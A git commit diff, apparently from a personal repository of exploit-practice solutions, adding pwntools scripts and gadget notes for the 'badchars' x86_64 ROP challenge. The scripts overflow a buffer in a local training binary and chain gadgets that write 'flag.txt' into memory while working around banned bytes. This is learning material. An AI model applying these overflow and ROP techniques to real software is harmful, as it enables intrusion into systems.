summaryrefslogtreecommitdiff
path: root/x86_64/badchars
diff options
context:
space:
mode:
Diffstat (limited to 'x86_64/badchars')
-rw-r--r--x86_64/badchars/.gdb_history7
-rw-r--r--x86_64/badchars/corebin0 -> 4427776 bytes
-rwxr-xr-xx86_64/badchars/exploit.py53
-rw-r--r--x86_64/badchars/exploit_dirty.py54
-rw-r--r--x86_64/badchars/usefullstuff40
5 files changed, 154 insertions, 0 deletions
diff --git a/x86_64/badchars/.gdb_history b/x86_64/badchars/.gdb_history
new file mode 100644
index 0000000..4ac679a
--- /dev/null
+++ b/x86_64/badchars/.gdb_history
@@ -0,0 +1,7 @@
+break pwnme
+run
+stepi
+return
+nexti
+stepi
+q
diff --git a/x86_64/badchars/core b/x86_64/badchars/core
new file mode 100644
index 0000000..37c439a
--- /dev/null
+++ b/x86_64/badchars/core
Binary files differ
diff --git a/x86_64/badchars/exploit.py b/x86_64/badchars/exploit.py
new file mode 100755
index 0000000..da56cc9
--- /dev/null
+++ b/x86_64/badchars/exploit.py
@@ -0,0 +1,53 @@
+#!/usr/bin/env python3
+from pwn import *
+from time import sleep
+
+
+def strfixandcopy(dest, string, badchars, payload):
+ badchar_locations = []
+ fixed_str = b''
+ for n,l in enumerate(string):
+ if l in badchars:
+ fixed_str += bytes([ord(string[n]) - 1])
+ badchar_locations.append(n)
+ else:
+ fixed_str += bytes([ord(string[n])])
+
+ payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
+
+ payload += fixed_str # r12
+ payload += p64(dest) # r13
+ payload += p64(1) # r14
+ payload += p64(1) # r15
+
+ payload += p64(0x0000000000400634) # moves fixed string
+
+ for badchar_location in badchar_locations:
+ payload += p64(0x00000000004006a0) # pop r14, r15
+ payload += p64(1)
+ payload += p64(dest + badchar_location)
+ payload += p64(0x000000000040062c) #does the adding
+
+ return(payload)
+
+prog = process('./badchars')
+payload = b''
+for c in range(40):
+ payload += b'a'
+
+
+payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload)
+payload += p64(0x00000000004006a3)
+payload += p64(0x601be0)
+payload += p64(0x0000000000400510)
+payload += b"\n"
+prog.sendline(payload)
+
+sleep(0.5)
+print(str(prog.recv(), 'UTF-8'))
+prog.close()
+
+
+
+
+
diff --git a/x86_64/badchars/exploit_dirty.py b/x86_64/badchars/exploit_dirty.py
new file mode 100644
index 0000000..eab68fe
--- /dev/null
+++ b/x86_64/badchars/exploit_dirty.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python3
+from pwn import *
+from time import sleep
+
+# gotta go FAST
+# i'll make it clean when I'm not pressured for time
+
+
+prog = process('./badchars')
+payload = b''
+for c in range(40):
+ payload += b'a'
+
+payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
+payload += b'fl`f-twt'
+payload += p64(0x601be0)
+payload += p64(1)
+payload += p64(0x601be2)
+
+payload += p64(0x0000000000400634) # just pops
+
+payload += p64(0x000000000040062c) # add [r15], r14
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be3)
+
+
+payload += p64(0x000000000040062c) # add [r15], r14
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be4)
+payload += p64(0x000000000040062c) # add [r15], r14
+
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be6)
+payload += p64(0x000000000040062c) # add [r15], r14
+
+
+payload += p64(0x00000000004006a3) # pops rdi
+payload += p64(0x601be0)
+
+payload += p64(0x0000000000400510)
+
+
+payload += b"\n"
+prog.sendline(payload)
+
+sleep(0.5)
+print(prog.recv())
+prog.close()
diff --git a/x86_64/badchars/usefullstuff b/x86_64/badchars/usefullstuff
new file mode 100644
index 0000000..78cd6e8
--- /dev/null
+++ b/x86_64/badchars/usefullstuff
@@ -0,0 +1,40 @@
+0000000000400628 <usefulGadgets>:
+ 400628: 45 30 37 xor BYTE PTR [r15],r14b
+ 40062c: 45 00 37 add BYTE PTR [r15],r14b
+ 400630: 45 28 37 sub BYTE PTR [r15],r14b
+ 400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12
+
+print_file@plt: 0000000000400510
+
+0x00000000004006a0 : pop r14 ; pop r15 ; ret
+
+1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret <-- to set registers
+1:
+ r12: "flae-txt"
+ r13: 0x601be0
+ r14: 1
+ r15: 0x601be4
+
+2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
+
+3: 0x000000000040062c : add [r15], r14
+
+4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret
+ r14: 1
+ r15: 0x601be5
+
+5: 0x00000000004006a3 : pop rdi ; ret
+ rdi: 0x601be0
+
+6: 0x0000000000400510 : print_file@plt
+
+
+
+
+0x00000000004006a3 : pop rdi ; ret
+
+
+.init_array: 0x601be0 [safe]
+
+we cant use: 'x', 'g', 'a', '.'
+['0x78', '0x67', '0x61', '0x2e']